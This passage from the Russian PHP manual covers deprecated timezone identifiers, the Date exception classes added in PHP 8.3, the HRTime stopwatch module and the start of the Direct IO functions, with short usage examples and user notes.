Pacific/Norfolk | Pacific/Noumea | Pacific/Pago_Pago | Pacific/Palau
Pacific/Pitcairn | Pacific/Pohnpei | Pacific/Port_Moresby | Pacific/Rarotonga
Pacific/Saipan | Pacific/Tahiti | Pacific/Tarawa | Pacific/Tongatapu
Pacific/Wake | Pacific/Wallis |  |

User Contributed Notes

There are no user contributed notes for this page.


Другие

Внимание

Пожалуйста, не используйте описанные здесь часовые пояса (кроме UTC), они существуют только по причинам обратной совместимости и могут привести к неправильной работе. Кроме того, часовые пояса могут быть удалены из базы данных часовых поясов IANA в любое время.

Внимание

Если вы игнорируете вышестоящее предупреждение, то учтите, что база данных часовых поясов IANA, которая используется для часовых поясов PHP, поддерживает использование POSIX-стиля знаков, поэтому обозначения часовых поясов Etc/GMT+n и Etc/GMT-n обратные общепринятым.

Например, часовой пояс на 8 часов вперёд от GMT, используемый в Китае, Западной Австралии и других местах, в действительности записан в базе данных как Etc/GMT-8, а не как Etc/GMT+8, как можно было бы ожидать.

Настоятельно рекомендуется использовать правильные часовые пояса, такие как Asia/Shanghai или Australia/Perth для вышеприведённого примера.

Другие
Africa/Asmera | Africa/Timbuktu | America/Argentina/ComodRivadavia | America/Atka
America/Buenos_Aires | America/Catamarca | America/Coral_Harbour | America/Cordoba
America/Ensenada | America/Fort_Wayne | America/Godthab | America/Indianapolis
America/Jujuy | America/Knox_IN | America/Louisville | America/Mendoza
America/Montreal | America/Nipigon | America/Pangnirtung | America/Porto_Acre
America/Rainy_River | America/Rosario | America/Santa_Isabel | America/Shiprock
America/Thunder_Bay | America/Virgin | America/Yellowknife | Antarctica/South_Pole
Asia/Ashkhabad | Asia/Calcutta | Asia/Chongqing | Asia/Chungking
Asia/Dacca | Asia/Harbin | Asia/Istanbul | Asia/Kashgar
Asia/Katmandu | Asia/Macao | Asia/Rangoon | Asia/Saigon
Asia/Tel_Aviv | Asia/Thimbu | Asia/Ujung_Pandang | Asia/Ulan_Bator
Atlantic/Faeroe | Atlantic/Jan_Mayen | Australia/ACT | Australia/Canberra
Australia/Currie | Australia/LHI | Australia/North | Australia/NSW
Australia/Queensland | Australia/South | Australia/Tasmania | Australia/Victoria
Australia/West | Australia/Yancowinna | Brazil/Acre | Brazil/DeNoronha
Brazil/East | Brazil/West | Canada/Atlantic | Canada/Central
Canada/Eastern | Canada/Mountain | Canada/Newfoundland | Canada/Pacific
Canada/Saskatchewan | Canada/Yukon | CET | Chile/Continental
Chile/EasterIsland | CST6CDT | Cuba | EET
Egypt | Eire | EST | EST5EDT
Etc/GMT | Etc/GMT+0 | Etc/GMT+1 | Etc/GMT+10
Etc/GMT+11 | Etc/GMT+12 | Etc/GMT+2 | Etc/GMT+3
Etc/GMT+4 | Etc/GMT+5 | Etc/GMT+6 | Etc/GMT+7
Etc/GMT+8 | Etc/GMT+9 | Etc/GMT-0 | Etc/GMT-1
Etc/GMT-10 | Etc/GMT-11 | Etc/GMT-12 | Etc/GMT-13
Etc/GMT-14 | Etc/GMT-2 | Etc/GMT-3 | Etc/GMT-4
Etc/GMT-5 | Etc/GMT-6 | Etc/GMT-7 | Etc/GMT-8
Etc/GMT-9 | Etc/GMT0 | Etc/Greenwich | Etc/UCT
Etc/Universal | Etc/UTC | Etc/Zulu | Europe/Belfast
Europe/Kiev | Europe/Nicosia | Europe/Tiraspol | Europe/Uzhgorod
Europe/Zaporozhye | Factory | GB | GB-Eire
GMT | GMT+0 | GMT-0 | GMT0
Greenwich | Hongkong | HST | Iceland
Iran | Israel | Jamaica | Japan
Kwajalein | Libya | MET | Mexico/BajaNorte
Mexico/BajaSur | Mexico/General | MST | MST7MDT
Navajo | NZ | NZ-CHAT | Pacific/Enderbury
Pacific/Johnston | Pacific/Ponape | Pacific/Samoa | Pacific/Truk
Pacific/Yap | Poland | Portugal | PRC
PST8PDT | ROC | ROK | Singapore
Turkey | UCT | Universal | US/Alaska
US/Aleutian | US/Arizona | US/Central | US/East-Indiana
US/Eastern | US/Hawaii | US/Indiana-Starke | US/Michigan
US/Mountain | US/Pacific | US/Samoa | UTC
W-SU | WET | Zulu |

User Contributed Notes

There are no user contributed notes for this page.


The DateError class

(PHP 8 >= 8.3.0)

Введение

Thrown when the timezone database is not found, or contains invalid data.

This error should never occur, and is not dependent on code. There are two child-exceptions (DateObjectError and DateRangeError) which are thrown depending on programmer error or range related issues.

Обзор классов

class DateError extends Error {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

Смотрите также

  • DateObjectError
  • DateRangeError

User Contributed Notes

There are no user contributed notes for this page.


The DateObjectError class

(PHP 8 >= 8.3.0)

Введение

Thrown when one of the Date/Time classes has not been correctly initialised.

Because Date/Time classes are not final, these classes can be inherit. When the parent constructor is not called, this error is thrown. This is always a programming error.

Обзор классов

class DateObjectError extends DateError {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

Смотрите также

  • DateError
  • DateRangeError

User Contributed Notes

There are no user contributed notes for this page.


The DateRangeError class

(PHP 8 >= 8.3.0)

Введение

Thrown by DateTime::getTimestamp(), DateTimeImmutable::getTimestamp(), and date_timestamp_get(), on 32-bit platforms if the date object represents a date outside of the 32-bit signed range.

Обзор классов

class DateRangeError extends DateError {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

Смотрите также

  • DateError
  • DateObjectError

User Contributed Notes

There are no user contributed notes for this page.


The DateException class

(PHP 8 >= 8.3.0)

Введение

Parent class of Date/Time exceptions, for issues that come to light due to user input, or free form text arguments that need to be parsed.

The following child exceptions are thrown by the extension:

  • DateInvalidOperationException
  • DateInvalidTimezoneException
  • DateMalformedIntervalStringException
  • DateMalformedPeriodStringException
  • DateMalformedStringException

Обзор классов

class DateException extends Exception {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The DateInvalidOperationException class

(PHP 8 >= 8.3.0)

Введение

Thrown by DateTimeImmutable::sub() and DateTime::sub() when an unsupported operation is attempted.

An example of such an unsupported operation is using a DateInterval object representing relative time specifications such as next weekday, as no logical reversed statement can be constructed.

Обзор классов

class DateInvalidOperationException extends DateException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The DateInvalidTimeZoneException class

(PHP 8 >= 8.3.0)

Введение

Thrown when an incorrect value is passed to DateTimeZone::__construct().

Обзор классов

class DateInvalidTimeZoneException extends DateException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The DateMalformedIntervalStringException class

(PHP 8 >= 8.3.0)

Введение

Thrown when an invalid duration argument is passed to DateInterval::__construct().

Обзор классов

class DateMalformedIntervalStringException extends DateException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The DateMalformedPeriodStringException class

(PHP 8 >= 8.3.0)

Введение

Thrown when an invalid isostr argument is passed to DatePeriod::__construct().

Обзор классов

class DateMalformedPeriodStringException extends DateException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The DateMalformedStringException class

(PHP 8 >= 8.3.0)

Введение

Thrown when an invalid Date/Time string is detected.

This can be as value to
DateTimeImmutable::__construct(),
DateTimeImmutable::modify(),
DateTime::__construct(), or
DateTime::modify().

Обзор классов

class DateMalformedStringException extends DateException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Время высокого разрешения

  • Введение
  • Установка и настройка
    • Установка
  • Примеры
    • Основы использования
  • HRTime\PerformanceCounter — Класс HRTime\PerformanceCounter
    • HRTime\PerformanceCounter::getFrequency — Частота таймера в тиках в секунду
    • HRTime\PerformanceCounter::getTicks — Текущее значение тиков системы
    • HRTime\PerformanceCounter::getTicksSince — Количество тиков, прошедших с заданного значения
  • HRTime\StopWatch — Класс HRTime\StopWatch
    • HRTime\StopWatch::getElapsedTicks — Получить количество прошедших тиков для всех интервалов
    • HRTime\StopWatch::getElapsedTime — Получить суммарное прошедшее время всех интервалов
    • HRTime\StopWatch::getLastElapsedTicks — Получить количество прошедших тиков за последний интервал
    • HRTime\StopWatch::getLastElapsedTime — Получить прошедшее время для последнего интервала
    • HRTime\StopWatch::isRunning — Проверить, выполняется ли измерение
    • HRTime\StopWatch::start — Запустить измерение времени
    • HRTime\StopWatch::stop — Остановить измерение
  • HRTime\Unit — Класс HRTime\Unit

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль HRTime реализует класс высокого разрешения StopWatch. Он использует наилучшее доступное API на различных платформах, позволяющее оперировать временем с точностью до наносекунд. Он также позволяет реализовывать пользовательские секундомер, используя низкоуровневые тики, предоставляемые нижележащим API.

Замечание: Начиная с PHP 7.3.0, связанная функция hrtime() является частью ядра.

User Contributed Notes

There are no user contributed notes for this page.


Установка и настройка

Содержание

  • Установка

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/hrtime.

Библиотека DLL для этого PECL-модуля доступна по ссылке » http://windows.php.net/downloads/pecl/releases/hrtime/.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Содержание

  • Основы использования

User Contributed Notes

There are no user contributed notes for this page.


Основы использования

Этот пример демонстрирует базовое использование класса StopWatch

Пример #1 Замеряем время исполнения нескольких блоков кода

<?php

$c = new HRTime\StopWatch;

$c->start();
/* Замеряем время выполнения этого блока кода */
for ($i = 0; $i < 1024*1024; $i++);
$c->stop();
$elapsed0 = $c->getLastElapsedTime(HRTime\Unit::NANOSECOND);

/* Тут не замеряем*/
for ($i = 0; $i < 1024*1024; $i++);

$c->start();
/* А тут снова замеряем время выполнения этого блока кода */
for ($i = 0; $i < 1024*1024; $i++);
$c->stop();
$elapsed1 = $c->getLastElapsedTime(HRTime\Unit::NANOSECOND);

$elapsed_total = $c->getElapsedTime(HRTime\Unit::NANOSECOND);

?>

User Contributed Notes

There are no user contributed notes for this page.


Класс HRTime\PerformanceCounter

(PECL hrtime >= 0.4.3)

Введение

Обзор классов

class HRTime\PerformanceCounter {
/* Методы */
public static getFrequency(): int
public static getTicks(): int
public static getTicksSince(int $start): int
}

Содержание

  • HRTime\PerformanceCounter::getFrequency — Частота таймера в тиках в секунду
  • HRTime\PerformanceCounter::getTicks — Текущее значение тиков системы
  • HRTime\PerformanceCounter::getTicksSince — Количество тиков, прошедших с заданного значения

User Contributed Notes

There are no user contributed notes for this page.


Частота таймера в тиках в секунду

  • « HRTime\PerformanceCounter
  • HRTime\PerformanceCounter::getTicks »
  • PHP Manual
  • HRTime\PerformanceCounter
  • Частота таймера в тиках в секунду

HRTime\PerformanceCounter::getFrequency

(PECL hrtime >= 0.4.3)

HRTime\PerformanceCounter::getFrequency — Частота таймера в тиках в секунду

Описание

public static HRTime\PerformanceCounter::getFrequency(): int

Возвращает частоту таймера в тиках в секунду. Это будет постоянным значением после старта системы для большинства операционных систем.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает целое число (int), равное частоте таймера.

User Contributed Notes

There are no user contributed notes for this page.


Текущее значение тиков системы

  • « HRTime\PerformanceCounter::getFrequency
  • HRTime\PerformanceCounter::getTicksSince »
  • PHP Manual
  • HRTime\PerformanceCounter
  • Текущее значение тиков системы

HRTime\PerformanceCounter::getTicks

(PECL hrtime >= 0.6.0)

HRTime\PerformanceCounter::getTicks — Текущее значение тиков системы

Описание

public static HRTime\PerformanceCounter::getTicks(): int

Возвращает количество тиков.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает целое число (int), равное количеству тиков.

User Contributed Notes

There are no user contributed notes for this page.


Количество тиков, прошедших с заданного значения

  • « HRTime\PerformanceCounter::getTicks
  • HRTime\StopWatch »
  • PHP Manual
  • HRTime\PerformanceCounter
  • Количество тиков, прошедших с заданного значения

HRTime\PerformanceCounter::getTicksSince

(PECL hrtime >= 0.6.0)

HRTime\PerformanceCounter::getTicksSince — Количество тиков, прошедших с заданного значения

Описание

public static HRTime\PerformanceCounter::getTicksSince(int $start): int

Возвращает тиков, прошедших с заданного начального значения.

Список параметров

start

Начальное значение.

Возвращаемые значения

Возвращает целое число (int), равное количеству тиков.

User Contributed Notes

There are no user contributed notes for this page.


Класс HRTime\StopWatch

(PECL hrtime >= 0.4.3)

Введение

Обзор классов

class HRTime\StopWatch extends HRTime\PerformanceCounter {
/* Методы */
public getElapsedTicks(): int
public getElapsedTime(int $unit = ?): float
public getLastElapsedTicks(): int
public getLastElapsedTime(int $unit = ?): float
public isRunning(): bool
public start(): void
public stop(): void
/* Наследуемые методы */
public static HRTime\PerformanceCounter::getFrequency(): int
public static HRTime\PerformanceCounter::getTicks(): int
public static HRTime\PerformanceCounter::getTicksSince(int $start): int
}

Содержание

  • HRTime\StopWatch::getElapsedTicks — Получить количество прошедших тиков для всех интервалов
  • HRTime\StopWatch::getElapsedTime — Получить суммарное прошедшее время всех интервалов
  • HRTime\StopWatch::getLastElapsedTicks — Получить количество прошедших тиков за последний интервал
  • HRTime\StopWatch::getLastElapsedTime — Получить прошедшее время для последнего интервала
  • HRTime\StopWatch::isRunning — Проверить, выполняется ли измерение
  • HRTime\StopWatch::start — Запустить измерение времени
  • HRTime\StopWatch::stop — Остановить измерение

User Contributed Notes

There are no user contributed notes for this page.


Получить количество прошедших тиков для всех интервалов

  • « HRTime\StopWatch
  • HRTime\StopWatch::getElapsedTime »
  • PHP Manual
  • HRTime\StopWatch
  • Получить количество прошедших тиков для всех интервалов

HRTime\StopWatch::getElapsedTicks

(PECL hrtime >= 0.4.3)

HRTime\StopWatch::getElapsedTicks — Получить количество прошедших тиков для всех интервалов

Описание

public HRTime\StopWatch::getElapsedTicks(): int

Возвращает количество прошедших тиков всех ранее закрытых интервалов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает целое число (int), указывающее прошедшие тики.

User Contributed Notes

There are no user contributed notes for this page.


Получить суммарное прошедшее время всех интервалов

  • « HRTime\StopWatch::getElapsedTicks
  • HRTime\StopWatch::getLastElapsedTicks »
  • PHP Manual
  • HRTime\StopWatch
  • Получить суммарное прошедшее время всех интервалов

HRTime\StopWatch::getElapsedTime

(PECL hrtime >= 0.4.3)

HRTime\StopWatch::getElapsedTime — Получить суммарное прошедшее время всех интервалов

Описание

public HRTime\StopWatch::getElapsedTime(int $unit = ?): float

Возвращает суммарное прошедшее время всех интервалов.

Список параметров

unit

Единица времени, заданная одной из констант HRTime\Unit. По умолчанию HRTime\Unit::SECOND.

Возвращаемые значения

Возвращает значение типа float, равное прошедшему времени.

User Contributed Notes

j_jaberi at yahoo dot com 24-Dec-2019 12:05
As not mentioned, if used with invalid unit value, it uses default one:

<?php
        $stopWatch = new HRTime\StopWatch();
        $stopWatch->start();
        for($i=0; $i<10000000; $i++);
        $stopWatch->stop();
        echo $stopWatch->getElapsedTime(-1) . ' - ' .
        $stopWatch->getElapsedTime(0) . ' - ' .
        $stopWatch->getElapsedTime(1) . ' - ' .
        $stopWatch->getElapsedTime(2) . ' - ' .
        $stopWatch->getElapsedTime(3) . ' - ' .
        $stopWatch->getElapsedTime(4);
?>
Outputs soething like:
0.11936771 - 0.11936771 - 119.36771 - 119367.71 - 119367710 - 0.11936771


Получить количество прошедших тиков за последний интервал

  • « HRTime\StopWatch::getElapsedTime
  • HRTime\StopWatch::getLastElapsedTime »
  • PHP Manual
  • HRTime\StopWatch
  • Получить количество прошедших тиков за последний интервал

HRTime\StopWatch::getLastElapsedTicks

(PECL hrtime >= 0.4.3)

HRTime\StopWatch::getLastElapsedTicks — Получить количество прошедших тиков за последний интервал

Описание

public HRTime\StopWatch::getLastElapsedTicks(): int

Возвращает количество прошедших тиков за последний закрытый интервал.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает целое число, указывающее прошедшие тики.

User Contributed Notes

There are no user contributed notes for this page.


Получить прошедшее время для последнего интервала

  • « HRTime\StopWatch::getLastElapsedTicks
  • HRTime\StopWatch::isRunning »
  • PHP Manual
  • HRTime\StopWatch
  • Получить прошедшее время для последнего интервала

HRTime\StopWatch::getLastElapsedTime

(PECL hrtime >= 0.4.3)

HRTime\StopWatch::getLastElapsedTime — Получить прошедшее время для последнего интервала

Описание

public HRTime\StopWatch::getLastElapsedTime(int $unit = ?): float

Возвращает прошедшее время для ранее закрытого интервала.

Список параметров

unit

Единица времени, заданная одной из констант HRTime\Unit. По умолчанию HRTime\Unit::SECOND.

Возвращаемые значения

Возвращает значение типа float, равное прошедшему времени.

User Contributed Notes

There are no user contributed notes for this page.


Проверить, выполняется ли измерение

  • « HRTime\StopWatch::getLastElapsedTime
  • HRTime\StopWatch::start »
  • PHP Manual
  • HRTime\StopWatch
  • Проверить, выполняется ли измерение

HRTime\StopWatch::isRunning

(PECL hrtime >= 0.4.3)

HRTime\StopWatch::isRunning — Проверить, выполняется ли измерение

Описание

public HRTime\StopWatch::isRunning(): bool

Проверяет, было ли начато измерение.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true или false, в зависимости от того, запущено ли измерение в текущий момент.

User Contributed Notes

There are no user contributed notes for this page.


Запустить измерение времени

  • « HRTime\StopWatch::isRunning
  • HRTime\StopWatch::stop »
  • PHP Manual
  • HRTime\StopWatch
  • Запустить измерение времени

HRTime\StopWatch::start

(PECL hrtime >= 0.4.3)

HRTime\StopWatch::start — Запустить измерение времени

Описание

public HRTime\StopWatch::start(): void

Запускает измерение времени. Если оно уже было запущено ранее, то ничего не произойдёт. Измерение будет продолжено, если оно ранее было остановлено.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ничего не возвращает.

User Contributed Notes

There are no user contributed notes for this page.


Остановить измерение

  • « HRTime\StopWatch::start
  • HRTime\Unit »
  • PHP Manual
  • HRTime\StopWatch
  • Остановить измерение

HRTime\StopWatch::stop

(PECL hrtime >= 0.4.3)

HRTime\StopWatch::stop — Остановить измерение

Описание

public HRTime\StopWatch::stop(): void

Останавливает измерение для ранее запущенного интервала.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ничего не возвращает.

User Contributed Notes

There are no user contributed notes for this page.


Класс HRTime\Unit

(PECL hrtime >= 0.4.3)

Введение

Обзор классов

class HRTime\Unit {
/* Константы */
const int SECOND = 0;
const int MILLISECOND = 1;
const int MICROSECOND = 2;
const int NANOSECOND = 3;
/* Методы */
}

Предопределённые константы

HRTime\Unit::SECOND

HRTime\Unit::MILLISECOND

HRTime\Unit::MICROSECOND

HRTime\Unit::NANOSECOND

User Contributed Notes

There are no user contributed notes for this page.


Модули для работы с файловой системой

  • Прямой ввод/вывод (Direct IO)
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции прямого ввода/вывода
  • Каталоги
    • Установка и настройка
    • Предопределённые константы
    • Directory — Класс Directory
    • Функции для работы с каталогами
  • FileInfo — Информация о файле
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции модуля Fileinfo
    • finfo — Класс finfo
  • Файловая система
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции файловой системы
  • Inotify
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции Inotify
  • xattr
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • xattr Функции
  • xdiff
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции xdiff

User Contributed Notes

There are no user contributed notes for this page.


Прямой ввод/вывод (Direct IO)

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции прямого ввода/вывода
    • dio_close — Закрыть файловый дескриптор
    • dio_fcntl — Вызывает функцию библиотеки C fcntl для файлового дескриптора
    • dio_open — Открывает файл (по необходимости создаёт) на более низком уровне нежели потоковые функции ввода/вывода языка C
    • dio_read — Прочитай байты из файлового дескриптора
    • dio_seek — Переместить указатель в файловом дескрипторе
    • dio_stat — Получить информацию о файловом дескрипторе
    • dio_tcsetattr — Устанавливает атрибуты терминала и скорость передачи данных для последовательного порта
    • dio_truncate — Обрезает файл до заданного количества байт
    • dio_write — Записывает байты в файл, опционально обрезая до указанной длины

User Contributed Notes

There are no user contributed notes for this page.


Введение

PHP поддерживает функции прямого ввода/вывода, как описано в стандарте Posix (секция 6), для вызова функций ввода/вывода на более низком уровне нежели потоковые функции языка C (fopen(), fread(),..). Эти функции могут быть задействованы только если необходим прямой контроль устройств. Во всех остальных случаях более адекватно будет использовать стандартные функции файловой системы.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/dio.

DLL для этого модуля PECL в данный момент недоступна. Смотрите также раздел сборка на Windows.

User Contributed Notes

There are no user contributed notes for this page.


Типы ресурсов

Для данного модуля зарегистрирован один тип ресурса: дескриптор файла, возвращённый dio_open().

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

F_DUPFD (int)

F_GETFD (int)

F_GETFL (int)

F_GETLK (int)

F_GETOWN (int)

F_RDLCK (int)

F_SETFL (int)

F_SETLK (int)

F_SETLKW (int)

F_SETOWN (int)

F_UNLCK (int)

F_WRLCK (int)

O_APPEND (int)

O_ASYNC (int)

O_CREAT (int)

O_EXCL (int)

O_NDELAY (int)

O_NOCTTY (int)

O_NONBLOCK (int)

O_RDONLY (int)

O_RDWR (int)

O_SYNC (int)

O_TRUNC (int)

O_WRONLY (int)

S_IRGRP (int)

S_IROTH (int)

S_IRUSR (int)

S_IRWXG (int)

S_IRWXO (int)

S_IRWXU (int)

S_IWGRP (int)

S_IWOTH (int)

S_IWUSR (int)

S_IXGRP (int)

S_IXOTH (int)

S_IXUSR (int)

User Contributed Notes

There are no user contributed notes for this page.


Функции прямого ввода/вывода

Содержание

  • dio_close — Закрыть файловый дескриптор
  • dio_fcntl — Вызывает функцию библиотеки C fcntl для файлового дескриптора
  • dio_open — Открывает файл (по необходимости создаёт) на более низком уровне нежели потоковые функции ввода/вывода языка C
  • dio_read — Прочитай байты из файлового дескриптора
  • dio_seek — Переместить указатель в файловом дескрипторе
  • dio_stat — Получить информацию о файловом дескрипторе
  • dio_tcsetattr — Устанавливает атрибуты терминала и скорость передачи данных для последовательного порта
  • dio_truncate — Обрезает файл до заданного количества байт
  • dio_write — Записывает байты в файл, опционально обрезая до указанной длины

User Contributed Notes

php dot 5 dot gavinostlund at spamgourmet dot com 07-Dec-2007 04:36
You can manually build the dio extension for your version of PHP, or install an older version of PHP that still bundled dio.  It's not that hard to build it yourself, just a bit of a process, and it helps if you're on linux, and have a build environment... which I would assume you have if you are doing some kind of development that requires direct device I/O...  Just get the dio source from the cvs repo, compile it, and then add the extension to your php configuration...
tom at bitworks dot de 03-Nov-2007 05:41
to use mandatory locking on a linux system, the filesystem has to be well prepared.

# /etc/fstab: static file system information.
#
# <file system> <mount point>   <type>  <options>               <dump>  <pass>
/dev/hda1       /               ext3    errors=remount-ro,mand  0       1
/dev/hda2       none            swap    sw                      0       0
proc            /proc           proc    defaults                0       0
/dev/fd0        /floppy         auto    user,noauto             0       0
/dev/cdrom      /cdrom          iso9660 ro,user,noauto          0       0

For example here the ext3 partition has been prepared for mandatory locking. Otherwise no dio_function will work on the system.
richard d_0t cubek a_t example D0_t com 25-Sep-2007 01:13
IMPORTANT:

--enable-dio is NOT recognized as an option. After reporting a bug, i got following answer:

It is not bundled anymore. See http://pecl.php.net/dio to fetch the CVS version (being unmaintained, there is no release in pecl). Not a bug > bogus.


Закрыть файловый дескриптор

  • « Функции прямого ввода/вывода
  • dio_fcntl »
  • PHP Manual
  • Функции прямого ввода/вывода
  • Закрыть файловый дескриптор

dio_close

(PHP 4 >= 4.2.0, PHP 5 < 5.1.0)

dio_close — Закрыть файловый дескриптор

Описание

dio_close(resource $fd): void

Функция dio_close() закрывает файловый дескриптор fd.

Список параметров

fd

Файловый дескриптор, полученный из dio_open().

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Закрытие файлового дескриптора

<?php
$fd = dio_open('/dev/ttyS0', O_RDWR);

dio_close($fd);
?>

Смотрите также

  • dio_open() - Открывает файл (по необходимости создаёт) на более низком уровне нежели потоковые функции ввода/вывода языка C

User Contributed Notes

There are no user contributed notes for this page.


Вызывает функцию библиотеки C fcntl для файлового дескриптора

  • « dio_close
  • dio_open »
  • PHP Manual
  • Функции прямого ввода/вывода
  • Вызывает функцию библиотеки C fcntl для файлового дескриптора

dio_fcntl

(PHP 4 >= 4.2.0, PHP 5 < 5.1.0)

dio_fcntl — Вызывает функцию библиотеки C fcntl для файлового дескриптора

Описание

dio_fcntl(resource $fd, int $cmd, mixed $args = ?): mixed

Функция dio_fcntl() вызывает указанную в cmd команду для fd. Если команда требует дополнительных аргументов, то они задаются в args.

Список параметров

fd

Файловый дескриптор, полученный из dio_open().

cmd

Может быть одной из следующих операций:

  • F_SETLK - Установка или сброс блокировки. Если блокировка кем-либо удерживается, dio_fcntl() вернёт -1.

  • F_SETLKW - похожа на F_SETLK, но если блокировка кем-либо удерживается, dio_fcntl() будет ждать её освобождения.

  • F_GETLK - dio_fcntl() вернёт ассоциативный массив (как описано ниже) если кто-либо мешает получить блокировку. Если никто не мешает, то ключ "type" будет содержать F_UNLCK.

  • F_DUPFD - ищет наименьший доступный файловый дескриптор, больший или равный args и возвращает его.

